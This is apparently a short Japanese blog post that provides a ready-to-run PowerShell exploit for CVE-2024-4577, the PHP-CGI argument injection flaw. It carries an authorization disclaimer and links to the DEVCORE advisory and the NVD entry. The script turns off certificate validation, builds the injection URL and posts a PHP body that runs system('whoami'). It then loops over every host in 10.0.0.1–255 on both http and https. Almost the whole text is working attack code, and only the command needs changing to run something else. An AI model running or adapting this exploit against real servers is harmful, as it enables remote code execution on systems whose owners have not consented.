
PowsrShellを使用してCVE-2024-4577をスキャン
注意:
対象環境でこのようなペネトレーションテストを実施する許可が得られていることを確認してください。許可なく攻撃技術を使用すると、関連法規に違反する可能性があります。
本プログラムは教育および研究目的のみに提供されており、合法的かつ倫理的な範囲内で使用してください。
ペネトレーションテストがもたらす結果を理解していない場合は、レッドチームの専門家にテストを依頼することをお勧めします。
最初にWeb証明書の検証を無視するよう設定します
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
主要な攻撃ペイロード
$url = "${Protocol}://$IP/php-cgi/php-cgi.exe?%add+allow_url_include%3Don+-d+auto_prepend_file%3Dphp%3A//input+-d+cgi.force_redirect%3D0"
$body = "<?php system('whoami'); die(); ?>"
function にまとめ、PowerShell 組み込みの Invoke-WebRequest で送信します(TimeoutSec 設定は適宜調整可能)
function Invoke-RequestForIP {
param (
[string]$IP,
[string]$Protocol
)
$url = "${Protocol}://$IP/php-cgi/php-cgi.exe?%add+allow_url_include%3Don+-d+auto_prepend_file%3Dphp%3A//input+-d+cgi.force_redirect%3D0"
$body = "<?php system('whoami'); die(); ?>"
try {
$response = Invoke-WebRequest -Uri $url -Method Post -Body $body -UseBasicParsing -TimeoutSec 2
return $response.Content
} catch {
return $_.Exception.Message
}
}
ループを使用して 10.0.0.1 ~ 10.0.0.255 をスキャンします
$baseIP = "10.0.0."
$start = 1
$end = 255
for ($i = $start; $i -le $end; $i++) {
$currentIP = $baseIP + $i
foreach ($protocol in @("http", "https")) {
$result = Invoke-RequestForIP -IP $currentIP -Protocol $protocol
Write-Output "IP: $currentIP, Protocol: $protocol, Result: $result"
}
}
https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability
https://nvd.nist.gov/vuln/detail/cve-2024-4577